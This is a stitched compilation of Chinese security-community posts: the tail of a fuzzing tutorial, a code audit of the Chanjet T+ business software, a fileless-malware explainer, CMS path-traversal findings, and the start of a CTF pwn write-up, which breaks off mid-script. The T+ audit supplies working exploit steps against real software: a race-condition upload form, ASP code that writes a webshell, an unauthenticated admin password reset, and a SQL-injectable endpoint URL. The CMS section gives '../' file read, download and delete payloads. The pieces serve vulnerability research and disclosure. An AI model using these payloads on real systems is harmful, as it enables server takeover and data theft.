可以发现，路径覆盖率的方式有一个不好的点，就是后面会产生路径爆炸的问题。因此，后来的方法更倾向于使用基于分支覆盖的方式。漏洞的爆发也往往由于触发了非预期的分支造成的。比如，一个著名的fuzz工具[AFL](http://lcamtuf.coredump.cx/afl/)（american-fuzzy-lop,中文名是美种费斯垂耳兔）利用的就是就分支的覆盖方式。这个技术部分已经有同学分析过了，感兴趣的同学可以看看[资料](https://blog.csdn.net/gengzhikui1992/article/details/50844857)。
### 著名Fuzz工具AFL的使用
前面既然提到了著名的fuzz工具AFL，这里就抛砖引玉介绍一下它的基本使用方式。更深入的技术细节已经有很多文字分析过了，感兴趣的同学可以看看文末的参考文献。
这里介绍的参考案例参考自网上的[资源](https://blog.csdn.net/ywcpig/article/details/78821491)，它介绍了如何利用AFL对LibTIFF进行模式测试，我看了诸多的例子，认为还是这个比较容易入门。整体的流程与该网上介绍的流程差不多，这里就提示两个地方，文中没有声明的。
第一，如果在执行AFL的时候出现了问题，那么就按照提示来进行补充安装就好了。比如，在我的程序中，出现了一个问题，是要修改core dump
notification的设置。
那么就在ubuntu中以root登录，然后执行
echo core >/proc/sys/kernel/core_pattern，
就可以。
第二，测试样例是需要在这个网址下载使用的：<http://lcamtuf.coredump.cx/afl/demo/>
选择下载所有的测试数据集。
拷贝到input里面，然后执行命令（直接拷贝参考链接中的命令将会执行不成功，因此应该是这样的）
afl-fuzz -i input/ -o output/ tools/ tiff2rgba @@
接下来就出现类似的执行界面，开始进行fuzz
接着就是等待测试的结果了。
## 研究界在Fuzzer方面的进展
近年来，学术界也对Fuzzer技术有较为密切的关注。在今年，信息安全的顶级会议[S&P2018](https://www.ieee-security.org/TC/SP2018/)、[NDSS2018](https://www.ndss-symposium.org/ndss2018/)、[CCS](https://sigsac.org/ccs/CCS2018/)就有好多篇文章关于Fuzzer。
比如CCS的这两篇：Hawkeye: Towards a Desired Directed Grey-box Fuzzer，Revery: from
Proof-of-Concept to Exploitable (One Step towards Automatic Exploit
Generation)。S&P的CollAFL: Path Sensitive Fuzzing ，T-Fuzz: fuzzing by program
transformation ，Angora: Efficient Fuzzing by Principled Search 。
上述介绍的基于变种的Fuzzer工具中有一个较为严重的问题：当生成变种的输入之后，变种的输入向量很有可能会被目标程序的校验程序给过滤掉，比如CRC校验，hash校验等。这样会大大降低fuzz的效率，因为变种产生的是大量无用的输入，这些输入对于最终探索的路径覆盖率的贡献是较低的。而且，对于某些藏的比较深的bug，比如，有多个校验条件保护的bug，是比较难发现的。
为了解决这个问题，S&P18的工作[T-Fuzz](https://github.com/HexHive/T-Fuzz)提出了一个思路：相比于已有的方法利用符号执行等方式去求解那些合法的输入（符号执行的基础内容可以看[符号执行——从入门到上高速](https://www.anquanke.com/post/id/157928)），它直接将目标程序中的校验语句给去除，然后进行fuzzing测试，找到了bug之后，再看看触发bug的这些输入会不会通过校验测试。这样，从发现的bug里面验证是否输入合法，相比于正向的去求解总共有哪些合法的解，复杂性要大大降低很多。
为了说明这个问题，这篇文章举了一个具体的例子，这个例子中的代码主要用来解析和解压某种文件格式：
可以发现，在C1部分它检测了特定的文件格式头部，即头部是否是‘SECO’；第二个C2检测了数据合理性范围；第三个C3检测了数据的CRC。可以发现，要通过这么多的阻碍，找到最终的bug在deccompress()这个函数，它的求解复杂度是很大的。那么通过先删除这些check，再检验触发bug的输入是否能够通过验证请求，将会使得问题更加容易解决。
## 总结
最终，总结一下今天所介绍的技术。本文首先介绍了最原始的monkey测试，并且引入monkey测试里面的所体现的fuzzer的模块：目标程序、fuzz输入生成和bug反馈捕获。接着，由于monkey产生输入的无目标性，本文介绍了一种相对智能一点的方式，通过变种已有合法输入的方式，提高测试的效率。然后，当测试人员对于目标程序相对熟悉的时候，本文介绍了另一种fuzzing方式，基于模板的fuzzer，并且介绍了典型的模板fuzzer
SPIKE的典型使用方式，让大家有了更为深入的了解。随着fuzz的进步，想要测试到更多的bug，需要有更为合理的指标去调整fuzz的策略，因此，本文介绍了新的fuzzing方式，基于反馈演进的fuzzer。并且介绍了两个fuzzing的指标：基于追踪路径覆盖率和基于追踪分支覆盖率的方式。最后，本文还介绍了研究界fuzzer的最新进展。希望本文能够让大家对于fuzzer有更深刻的了解。如果文中有理解不正确的地方，还望各位不吝赐教。
相关参考：
American Fuzzy Lop。
<http://lcamtuf.coredump.cx/afl/>
它由google project zero的Michal Zalewski (lcamtuf)开发的。
其后还有基于windows版本的fuzzer，WinAFL
<https://github.com/googleprojectzero/winafl>
AFL内部实现细节一览
<https://paper.seebug.org/496/>
AFL技术白皮书
<https://blog.csdn.net/gengzhikui1992/article/details/50844857> | 社区文章 |
# 代码审计入门之用友畅捷通T+代码审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00:前言
畅捷通T+是由用友软件开发的一款新型互联网企业管理软件，全面满足成长型小微企业对其灵活业务流程的管控需求，重点解决往来业务管理、订单跟踪、资金、库存等管理难题。T+结合畅捷通100多万中小企业的管理经验，采用完全B/S结构及.NET先进开发技术，通过解决中小企业管理现状的重点问题，以及对业务过程主要环节的控制与管理，提升管理水平，为企业带来更多管理价值。产品应用功能包括：采购管理、库存核算、销售管理、零售管理、促销管理、会员管理、生产管理、往来现金、固定资产、出纳管理、总账、T-UFO；主要应用于中小商贸企业、工业企业与工贸企业一体化管理。在某次安全评估过程中在内网遇到该系统。遂对该系统进行一次粗略的代码审计分析，来看看这套系统存在哪些问题。
## 0x01:前置知识
在分析代码之前我们先了解一下ASP.NET的一些基础知识和关键信息
ASP.NET 支持三种不同的开发模式：
Global.asax与Web.config：
Global.asax
|
Web.config
---|---
Global.asax是一个全局文件，一个ASP.NET的应用程序文件，是从从HttpApplication基类派生的类。
响应的是应用程序级别和会话级别事件 ，当需要处理应用程序事件或会话事件时，可建立使用Global.asax文件。
| Web.config是一个配置文件，是基于XML的文本文件。
通过配置相关节点来实现数据库连接以及身份验证等功能。
Web.config文件并不编译进dll文件中，将来有变化时，可直接用记事本打开Web.config文件进行编辑修改，很方
便。
按执行顺序来解释一下Global.asax.cs中相应的事件处理方法的含义：
* Application_BeginRequest：BeginRequest是在收到Request时第一个触发的事件，这个方法自然就是第一个执行的了。
* Application_AuthenticateRequest：当安全模块已经建立了当前用户的标识后执行。
* Application_AuthorizeRequest：当安全模块已经验证了当前用户的授权时执行。
* Application_ResolveRequestCache：当ASP.NET完成授权事件以使缓存模块从缓存中为请求提供服务时发生，从而跳过处理程序（页面或者是WebService）的执行。这样做可以改善网站的性能，这个事件还可以用来判断正文是不是从Cache中得到的。
* Application_AcquireRequestState：当ASP.NET获取当前请求所关联的当前状态（如Session）时执行。
* Application_PreRequestHandlerExecute：当ASP.Net即将把请求发送到处理程序对象（页面或者是WebService）之前执行。这个时候，Session就可以用了。
* Application_PostRequestHandlerExecute：当处理程序对象（页面或者是WebService）工作完成之后执行。
* Application_ReleaseRequestState：在ASP.NET执行完所有请求处理程序后执行。ReleaseRequestState事件将使当前状态数据被保存。
* Application_UpdateRequestCache：在ASP.NET执行完处理程序后，为了后续的请求而更新响应缓存时执行。
* Application_EndRequest：同上，EndRequest是在响应Request时最后一个触发的事件，这个方法自然就是最后一个执行的了。
再附上两个无顺序的，随时都可能执行的：
* Application_PreSendRequestHeaders：向客户端发送Http标头之前执行。
* Application_PreSendRequestContent：向客户端发送Http正文之前执行。
预编译：
ASP.NET在将整个站点提供给用户之前，可以预编译该站点。这为用户提供了更快的响应时间，提供了在向用户显示站点之前标识编译时bug的方法，提供了避免部署源代码的方法，并提供了有效的将站点部署到成品服务器的方法。可以在网站的当前位置预编译网站，也可以预编译网站并将其部署到其他计算机。
部署时不同文件类型对应的预编译操作和输出位置：
文件类型 | 预编译操作 | 输出位置
---|---|---
.aspx、ascx、.master | 生成程序集和一个指向该程序集的.compiled文件。原始文件保留在原位置，作为完成请求的占位符 |
程序集和.compiled文件写入Bin文件夹中。页（去除内容的.aspx文件）保留在其原始位置
.asmx、.ashx | 生成程序集。原始文件保留在原位置，作为完成请求的占位符 | Bin文件夹
App_Code文件夹中的文件 | 生成一个或多个程序集（取决于Web.config设置） | Bin文件夹
未包含在App_Code文件夹中的.cs或.vb文件 | 与依赖于这些文件的页或资源一起编译 | Bin文件夹
Bin文件夹中的现有.dll文件 | 按原样复制文件 | Bin文件夹
资源（.resx）文件 |
对于App_LocalResources或App_GlobalResources文件夹中找到的.resx文件，生成一个或多个程序集以及一个区域性结构 |
Bin文件夹
App_Themes文件夹及子文件夹中的文件 | 在目标位置生成程序集并生成指向这些程序集的.compiled文件 | Bin文件夹
静态文件（.htm、.html、图形文件等） | 按原样复制文件 | 与源中结构相同
浏览器定义文件 | 按原样复制文件 | App_Browsers
依赖项目 | 将依赖项目的输出生成到程序集中 | Bin文件夹
Web.config文件 | 按原样复制文件 | 与源中结构相同
Global.asax文件 | 编译到程序集中 | Bin文件夹
.net反编译相关工具：
* ILSPY
* DNSPY
* .Net Reflector
## 0x02:任意文件上传
从官网下载安装包后我们直接安装即可，然后到安装目录下查看源码。
打开WebSite目录，查看源码
观察到所有的aspx文件都只有1kb大小。用编辑器打开看看，寻找引用DLL位置的代码片段。
打开后发现提示我们源代码已经被预编译处理，那么我们打开bin目录寻找预编译后的DLL文件。通过ILspy反编译dll文件
我们先从Global.asax文件入手，因为它提供了一些全局可用的方法，通过分析这些方法我们了解得到系统如何是如何配置安全措施。从而帮助我们快速
定位到漏洞触发点。我们先来看看Application.PreRequestHandlerExecute
事件是怎么写的。因为Application.PreRequestHandlerExecute
事件是在ASP.Net即将把请求发送到处理程序对象（页面或者是WebService）之前执行。一般作用于全局，身份校验判断一般都是在其逻辑中实现。
先是将sender转换成httpApplication对象，然后取HTTP数据流，然后判断流内容的请求是否为空。然后获取当前请求的虚拟路径。然后将 flag
置为1。
随后判断路径是否为空。
然后判断路径后缀是否在名单内。如果在名单内部就直接跳出。如下所示的页面或满足后缀的页面都直接跳出。
在这份所谓的名单里我观察到一个疑似存在上传功能的地址，sm/upload/testuploadspeed.aspx
从字面上不难理解这是一个测试上传速度的接口。直
觉告诉我这里存在问题。我们跟进看看代码是怎么写的。
逻辑上很清晰了。取得上传数据然后直接写入Templates目录里去，且写入路径直接拼接文件名，说明写入路径可控。然后马上又调用Delete方法删除文件。看起来貌似很正常的样子，但实际上这里已经出现了严重的安全问题。首先是未限制上传文件的后缀，大概是程序员觉得上传后马上就删除了应该没啥问题。其次是写入路径可控。最后是逻辑顺序设计的不合理，当程序在服务端并发处理用户请求时就会出现问题，如果在文件上传成功后但是在删除它以前这个文件就被执行了那么会怎样呢？
我们假设攻击者上传了一个用来生成恶意shell的文件，在上传完成并删除它的间隙，攻击者通过不断地发起访问请求的方法访问了该文件，该文件就会被执行，并且在服务器上生成一个恶意shell的文件。至此，该文件的任务就已全部完成，至于后面把它删除的问题都已经不重要了，因为攻击者已经成功的在服务器中植入了一个shell文件，后续的一切就都不是问题了。
实际利用过程：
先构造一个上传，然后通过burp重复发包，线程调高一点。
构造页面如下：
<html>
<body>
<form action="http://192.168.216.149:8080/tplus/sm/upload/testuploadspeed.aspx" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
上传包如下：
请求包如下，X参数为我们写入的内容。
只要速度够快，就能赶在删除文件之前生成shell
因为整套源码都是已经预编译好的，无法使用ASPX脚本来生成shell（这里踩了很多坑），所以我们这里用的是ASP代码来生成的一句话。代码如下：
<%
txtcontent = request("x")
PromotionPath = "upload.asp"
WriteToHtml PromotionPath,txtcontent
Function WriteToHtml(Fpath,Templet)
Dim FSO
Dim FCr
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FILEExists(Fpath) Then
FSO.deleteFILE Fpath
End If
Set FCr = FSO.CreateTextFile(Server.MapPath(Fpath), True)
FCr.Write(Templet)
FCr.Close
Set FCr = Nothing
Set FSO = Nothing
End Function
%>
由上述过程我们可以看到这种“关门打狗”的处理逻辑在并发的情况下是十分危险的，极易导致条件竞争漏洞的发生。
## 0x03:管理员密码任意重置漏洞
继续观察名单，我发现存在一个recoverpassword.aspx页面，根据命名可以看出这是一个重置密码的页面。我们跟进看看是否存在漏洞。先看Page_Load怎么写的。这里只有一行代码，通过RegisterTypeForAjax注册类信息到前台页面。RecoverPassword就是要调用的类名，一般都是指页面地址。相当于通过前台JS调用后台方法。那么继续往下看
在135行-149之间的SetNewPwd函数，我们可以很明显的看出这是一个重置密码的操作请求。从逻辑上看pwdNew经过encode之后进入到RecoverSystemPassword
我们继续跟进看看。
这里直接就执行sql语句更新管理员密码了，并没有做其他的校验。很明显我们可以通过ajax调用SetNewPwd函数来修改管理员密码。
找到调用地址，查看构造方法
通过burp直接POST数据即可重置管理员密码
## 0x04:SQL注入漏洞
从上一个漏洞我们可以看出开发者貌似很喜欢拼接SQL语句，那么这种随意的拼接行为必然会在某处导致SQL注入。我们全局搜索一下（说是全局搜索，其实也就是在业务系统寻找一些请求，然后跟进查看代码是怎么处理的，即黑盒测试）。这里我们在某个类库找到了一个函数，我们来看看开发人员是怎么写的。
第一行没啥说的，我们看第二行，这里scheduleName交给了GetScheduleLog处理，我们继续跟踪GetScheduleLog，可以看到serviceName通过Format()方法直接拼接到SQL语句当中去了。然后后面直接就query了。很明显这里存在注入，我们回过头来看看GetScheduleLogList这个函数是怎
么调用，scheduleName是否可控。
如图所示，从18行开始，我们看代码，这里定义好命名空间以后，通过AjaxNamespace修改命名空间名称，然后在函数前面添加AjaxMethod
关键字，通过查阅资料可以得知。使用AjaxMethod可以在客户端异步调用服务端方法，简单地说就是在JS里调用后台文件里的方法，做一些JS
无法做到的操作，如查询数据库等。那么上面的问题就迎刃而解了，我们通过构造http请求直接调用GetScheduleLogList传入内容即可注入。
构造地址：
<http://127.0.0.1/tplus/ajaxpro/Ufida.T.SM.UIP.ScheduleManage.ScheduleManageController,Ufida.T.SM.UIP.ashx?method=GetScheduleLogList>
POST:
{“scheduleName”:”DatabaseConsolidationTask”}
同理，我发现多处存在原理相同的漏洞，这里我列举几点，就不赘述了。
在这里除了SQL注入以外还存在一个问题，那就是未授权访问，我们放在下面单独讲。
## 0x05:接口未授权访问
这里本来是想接着SQL注入继续写的，但是想想似乎可以单独列举出来，于是我们就来单独分析一下。回到0x02，我们继续分析global中的Application.PreRequestHandlerExecute
事件。
通过分析149-186行代码，我们可以很明显的看出这段代码是用来鉴权的，判断用户是否登录。逻辑上并没有什么问题。之前我们说到global是作用全局的，但是凡事都有例外，这里的例外指的就是我们从0x04发现的类库，类库是不收到
global的影响的，这是由类库本身的性质决定的。因为类库为方法的集合。方法只能被调用，并不能通过其他方式直接访问，性质是不可访问响应，而Global的作用就是控制全局响应，这里自然无法产生影响。
这里我抽出一个具体案例分析。还是和0x04一样，我们以GetDefaultBackPath()方法为例，可以看出该方法前面添加了ajaxmethod，这里就代表了这是一个ajax的方法接口，变成可访问的控制器。
我们刚刚说到global是作用全局的。当类库里的方法变成接口以后，性质从不可访问响应变成可访问响应时，就会受到其影响，但这里开发者在使用ajaxmethod却忘记使用session。常规的做法应该是使用
[Ajax.AjaxMethod(HttpSessionStateRequirement.Read)]
。然后在方法内部进行权限的判断。所以总得来看还是开发者没有正确的使用ajaxmethod有关。
如图，直接构造方法即可调用接口，前面的注入漏洞也是如此。
## 0x06:任意文件下载
我们继续看代码，发现一个疑似提供下载功能的页面。打开来看看
打开命名空间，我们来看看实现代码
我们来看Page_Load函数，首先接收path参数，对内容进行URL解码。然后截取字符串。判断text中是否存在“_”。然后设置HttpResponseBase
类的一些属性值。最后将将指定文件的内容作为文件块写入 HTTP 响应输出流。整个流程没有对Path进行任何的过滤和检查，最后导致任意文件下载。
直接构造路径下载web.config:
注：该请求需要登录，原因上面已经讲到。
## 0x07:总结
纵观整套源码，我们可以发现，常规的用户交互操作都是存在登录校验的。但是开发者却忽略了Ajaxpro这种程序调用接口的安全校验。其实在大多数系统中也存在类似的问题，整套系统存在问题的点还是非常之多的。本文只选取了部分较为明显的点进行分析撰述，并未对该套源码进行全面分析。各位小伙伴感兴趣可以深入研究一下。个人感觉ASP.NET的语法思想和JAVA其实是很相似的。在审计过程中也学习到了很多知识和一些有趣的开发思想，受益匪浅。本文拙劣，行文不当之处希望各位大佬指正谅解。 | 社区文章 |
# 【安全科普】来无影去无踪：无文件恶意软件的危害
|
##### 译文声明
本文是翻译文章，文章来源：intezer.com
原文地址：<http://www.intezer.com/without-a-trace/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[nstlBlueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面**
网络这个无形的战场上，每天无时无刻不在进行着战争。在某个网络的角落中，网络攻击者往往善于隐藏自己，选择时机悄无声息的从内部发起攻击。
**无文件恶意软件是什么？**
黑客，这个强大的敌人不一定是某个国家的网络作战部队，有可能仅仅是一个恶意程序，或者某个国家扶持的黑客小组。黑客的攻击手法很独特，他们并没有将攻击工具保存在磁盘上，而是将攻击代码直接存储在被攻击者机器中的内存中，以达到攻击的目的，这种攻击手法就是臭名昭著的无文件恶意软件。攻击者实现此目的的最常见方法是：
**1）将磁盘的有效载荷加载到内存中，然后从磁盘中删除文件;**
**2）将代码直接注入到现有进程的内存中。**
如果成功，他们将长期从被攻击者机器上窃取敏感数据和商业机密信息。一旦被攻击，轻者可能给被攻击者的声誉造成不良的影响，严重的情况可能会对公司的品牌及其业务造成的严重或者重大的损害。今年早些时候，“无文件恶意软件”一词已经多次上了谷歌的热搜榜，由此可见该攻击手法的危害程度不容小视。
其实，攻击者能够成功攻击的主要原因是：黑客能够在潜伏的组织内存中轻松的绕过安全检测工具。因此，企业必须承担相应的维护过程（检测，调查，最后是修复）但这些工作往往是一个艰巨而昂贵的过程。然而，在调查任何一次网络攻击中，关键是要找到问题的根源。安全小组必须了解有哪些进入系统的人员，他们在哪里获得访问权限，以及由此导致哪里可能成为攻击者的突破口。虽然服务器系统在重新启动时会清除整个内存，其中也包括任何的“无文件恶意软件”但一些大型组织机构（例如银行，保健和保险公司）和工业网络的服务器很少重新启动，这对于黑客来说仍然是一个有价值的方法。
**无文件恶意软件的几个例子**
这里有几个令人震惊的行业例子：
1）黑客通过入侵SWIFT通信平台从孟加拉国银行非法提取9.51亿美元，另一个比较有趣的劫持事件是黑客通过修改某银行系统内存里的两个字节便从银行盗取了8000万美元。
2）最近关于“无文件恶意软件”攻击的例子来自于勒索软件。研究人员发现了一种名为Sorebrect的新的无文件恶意软件，它将恶意代码注入目标系统中的合法系统进程，然后自动从磁盘中删除，以躲避安全工具的检测。
3）另一个例子是发生在俄罗斯的ATM上的攻击。由于银行的ATM系统的RAM没有被定期的安全检测，并且ATM网络一般不会重新启动，以便银行避免其客户的服务中断，使得银行使用的ATM系统中被感染了“无文件恶意软件”，使得黑客们可以从一个不起眼的银行窃取80万美元。
**无文件恶意软件检测的难度**
当然，访问内存不能像访问磁盘上文件的方式访问;必须转储存储在内存中的代码，以便可以对其进行检查。诸如Volatility和Rekall之类的内存取证工具可以帮助分析内存并从其中转储执行的代码。不过，这些内存取证工具是黑客已知的，黑客已经熟练开发可以避免检测的恶意软件。由于这些工具通常也是开放源码，所以黑客有不公平的优势，因为他们可以很容易地发现他们需要什么来逃避检测。这些框架需要高级专家的大量时间和关注，才能将高效的检测出“无文件恶意软件”。
即使安全小组能够从内存获取代码，仍然很难调查。当处理内存中的代码时，最常见的调查工具是无用的。当代码从文件加载到内存时，它会更改为执行;在其他情况下，它会直接注入到内存中。在这两种情况下，这些代码转储不能用常见的恶意软件分析工具进行调查。沙盒和其他行为分析产品是完全无用的，因为没有任何可执行功能，并且由于文件在内存中哈希值的变化，使得基于哈希的威胁情报，文件信誉和IoC数据库无法得到合理的利用。
**如何防御无文件恶意软件攻击**
防御无文件恶意软件的方法通常有一下几点：
1）确保终端服务器保持更新，定期更新终端服务器可以清除内存中感染恶意软件；
2）做好终端服务器访问权限的控制，用户访问只能以普通用户身份来访问，而不能具有特权；
3）做好终端服务器的加固工作，适时使用反恶意软件程序对终端设备做好保护工作。 | 社区文章 |
**前言**
记录一下最近碰到的几处cms路径穿越的问题（均在后台）,均已提交CNVD。
**正文**
1.某cms的任意文件读取和删除
这个cms目前还是处于更新的状态，来到更多功能-模板管理-新建文件：发现会报错：
根据链接：
往回看下源码：
function addFile() {
$root = app()->getRootPath() . 'public' . DIRECTORY_SEPARATOR;
if (!$this->request->isPost()) {
$dir = rtrim(I('get.path'), '/');
if (strpos($dir, 'template') === false) {
exit('error|目录错误！');
}
$path = $root . str_replace('/', DIRECTORY_SEPARATOR, $dir);
$info = [
'name' => 'newfile.html',
'content' => '',
'mode' => 'htmlmixed',
'isNew' => true,
'path' => $dir,
];
if (is_file($path)) {
$parts = pathinfo($path);
$dir = str_replace('/' . $parts['basename'], '', $dir);
$info['name'] = $parts['basename'];
$info['content'] = file_get_contents($path);
$info['isNew'] = false;
if ($parts['extension'] == 'js') {
$info['mode'] = 'text/javascript';
} elseif ($parts['extension'] == 'css') {
$info['mode'] = 'text/css';
} elseif ($parts['extension'] == 'json') {
$info['mode'] = 'application/json';
}
} elseif (is_dir($path)) {
strpos($path, '.') !== false and exit('error|目录错误！');
} else {
exit('error|目录错误！');
}
$this->assign('dir', $dir);
$this->assign('info', $info);
return $this->fetch();
}
$dir = rtrim(I('post.path'), '/');
$name = I('post.name');
$content = I('post.content');
if (strpos($dir, 'template') === false) $this->error('目录错误');
$path = $root . str_replace('/', DIRECTORY_SEPARATOR, $dir);
if (is_file($path)) {
$parts = pathinfo($path);
$dir = str_replace('/' . $parts['basename'], '', $dir);
$new = str_replace($parts['basename'], $name, $path);
$parts = pathinfo($new);
if (!in_array($parts['extension'], ['js', 'html', 'css', 'txt', 'json'])) {
$this->error('只允许操作文件类型如下：html|js|css|txt|json');
}
file_put_contents($path, $content);
rename($path, $new) or $this->error('操作失败，请检查文件目录权限！');
} elseif (is_dir($path)) {
$path = $path . DIRECTORY_SEPARATOR . $name;
$parts = pathinfo($path);
if (!in_array($parts['extension'], ['js', 'html', 'css', 'txt', 'json'])) {
$this->error('只允许操作文件类型如下：html|js|css|txt|json');
}
$rs = file_put_contents($path, $content);
$rs === false and $this->error('操作失败，请检查文件目录权限！');
} else {
$this->error('目录错误！');
}
$this->success('操作成功！', U('Template/fileList') . '?path=' . urlencode($dir));
}
}
get请求进入第一个if后，通过
$dir = rtrim(I('get.path'), '/');
获取path参数，经过一个判断
if (strpos($dir, 'template') === false) {
exit('error|目录错误！');
}
然后直接拼接到
$path = $root . str_replace('/', DIRECTORY_SEPARATOR, $dir);
然后通过下面代码返回结果：
$info['content'] = file_get_contents($path);//读取文件
//调用并显示
$this->assign('info', $info);
return $this->fetch();
利用（为了绕过判断，请求路径用template/..实行）：
原始包
修改包
响应
通篇来看该cms的文件操作通过数据库实现，因此一定程度上避免了该类问题的发生。
后台清除缓存：
源码：
function clearCache() {
if (!$this->request->isPost()) {
return $this->fetch();
}
if (!function_exists('unlink')) {
$this->error('php.ini未开启unlink函数，请联系空间商处理！');
}
$clear = I('post.clearCache', []);
clearCache($clear);
$this->success('操作成功');
}
//跟进clearCache
function clearCache($clears = []) {
if ($clears === true || $clears === 'all') {
$clears = ['cache', 'log', 'temp'];
}
$apps = C('config.apps');//清除的应用
$runtime = app()->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR;
foreach ($clears as $item) {
if ($item == 'cache') {
delFile($runtime . $item, true);
continue;
}
if ($item == 'log') {
delFile($runtime . $item, true);
}
foreach ($apps as $app) {
$path = $runtime . $app . DIRECTORY_SEPARATOR . $item;
delFile($path, true);
}
}
/*清除旧升级备份包，保留最后一个备份文件*/
$backupArr = glob($runtime . 'data/backup/v*_www');
for ($i = 0; $i < count($backupArr) - 1; $i++) {
delFile($backupArr[$i], true);
}
delFile($runtime . 'schema');
delFile($runtime . 'log');//调试时生成的日志文件
return true;
}
原理跟上面类似，也是直接拼接：
2.某cms任意文件下载
该cms也是处于更新状态，系统管理-数据还原-备份下载
请求包
通过路由找到源码：
// 下载
public function downfile(string $name)
{
$file_name = $name; //得到文件名
header("Content-type:text/html;charset=utf-8");
$file_name = iconv("utf-8", "gb2312", $file_name); // 转换编码
$file_sub_path = $this->config['path']; //确保文件在这个路径下面，换成你文件所在的路径
$file_path = $file_sub_path . $file_name;
# 将反斜杠 替换成正斜杠
$file_path = str_replace('\\', '/', $file_path);
if (!file_exists($file_path)) {
$this->error($file_path);exit; //如果提示这个错误，很可能你的路径不对，可以打印$file_sub_path查看
}
$fp = fopen($file_path, "r"); // 以可读的方式打开这个文件
# 如果出现图片无法打开，可以在这个位置添加函数
ob_clean(); # 清空擦掉，输出缓冲区。
$file_size = filesize($file_path);
//下载文件需要用到的头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:" . $file_size);
Header("Content-Disposition: attachment; filename = " . $file_name);
$buffer = 1024000;
$file_count = 0;
while (!feof($fp) && $file_count < $file_size) {
$file_con = fread($fp, $buffer);
$file_count += $buffer;
echo $file_con;
}
fclose($fp); //关闭这个打开的文件
}
这个$file_name直接拼接，没有经过过滤，利用
3.某cms两处任意文件删除
该cms较老，且处于停更状态，一次偶然机会碰到的。
一、后台附件管理-图片管理可删除图片，
得到删除包：
ids和path可控，找到对应方法：admincms\contraller\upfile.contraller.php
传入的ids 用 “,” 进行分割，然后直接赋值没有过滤，跟进$this->pagebls['path']
发现也是直接赋值，没有过滤，修改ids 为 ,../s,txt, 的形式
二、admincms\contraller\template.contraller.php
找到模板管理，选中一个文件点击删除：
得到删除包
发现id[]是可控的，对应到源码：
发现$idd可控，跟进$this->pagebls['path']
发现$this->pagebls['path']也可控，修改id为id[]=../s.txt
**结尾**
这东西就是图一乐啊，继续搬砖了。 | 社区文章 |
# SecurinetsCTF2021 PWN 部分 WriteUP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## kill shot
首先看一下程序的逻辑
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-24h]
set_all_buf();
set_seccom(a1, a2);
welcome();
kill();
write(1, "Now let's take it's time for heap exploitation session.\n", 0x38uLL);
while ( v5 != 3 )
{
menu();
v3 = get_int();
v5 = v3;
if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
delete();
}
}
return 0LL;
}
程序开启了沙箱，我们看一下沙箱的规则
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000005 if (A == fstat) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
这里很明显是要我们进行`orw`读取`flag`，并且这里只允许了`openat`函数。接着往下看，在`welcome`函数中存在一个格式化字符串，我们根据此漏洞可以泄漏得到`elf,libc`这两个的基地址。
unsigned __int64 sub_FE3()
{
char buf[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]
v2 = __readfsqword(0x28u);
write(1, "This is an introduction to format string vulnerability!\n", 0x38uLL);
write(1, "Format: ", 8uLL);
read(0, buf, 0x31uLL);
if ( strchr(buf, 'n') )
{
write(1, "That's dangerous never use that format\n", 0x27uLL);
exit(1);
}
printf(buf); // <<< 格式化字符串漏洞
return __readfsqword(0x28u) ^ v2;
}
在接下来在`kill`函数中程序提供了一个任意地址写，也就是说我们在泄漏了`libc`基地址的情况下还可以进行一个任意地址写。
再接着往下看，程序提供了两种功能分别是`add,delete`。`add`函数根据用户输入了`size`分配了指定大小的堆块，并将分配得到的堆块地址写入到了全局数组中。`delete`则是根据用户指定的索引删除了相应的堆块。
到这里题目的思路就很清楚了，也就是首先利用泄漏得到的`libc`基地址和任意地址写覆写`free_hook`为`setcontext`函数的地址，以进行`srop`。
### srop
这里简单的介绍一个`SROP`的原理，更详细的分析请看`CTF-WIKI`。
`SROP`即`signal
rop`。我们知道LINUX中有各种各样的信号，`LINUX`对每个信号都需要进行处理，那么当进行信号处理的时候就需要中断当前的程序，保存上下文之后进行信号处理，信号处理完毕之后再进行上下文的恢复继续运行程序剩余的部分。
`SROP`利用的就是恢复上下文的过程。在保存上下文的时候回用到`Signal
Frame`结构体，结构体中保存了包含寄存器在内的所有程序运行相关的信息，该结构体存储于用户空间，因此用户可以对该结构体进行读写，那么到这里原理就出来了，如果我们修改该结构体如`rip`寄存器，那么在恢复上下文的时候rip就会被改写为我们刚刚设置的值。
进一步我们可以伪造该结构体，并且调用类似恢复上下文的函数`setcontext`，那么就可以控制所有的寄存器。
回到这一题在构造`rop`的时候需要注意两个点，一个是只能使用`openat`系统调用来打开文件，第二个就是这里打开文件之后的文件描述符是`5`，而不是`3`。
# encoding=utf-8
from pwn import *
file_path = "./kill_shot"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
p = remote('bin.q21.ctfsecurinets.com', 1338)
libc = ELF('./libc.so.6')
def add(size, content=b"1212"):
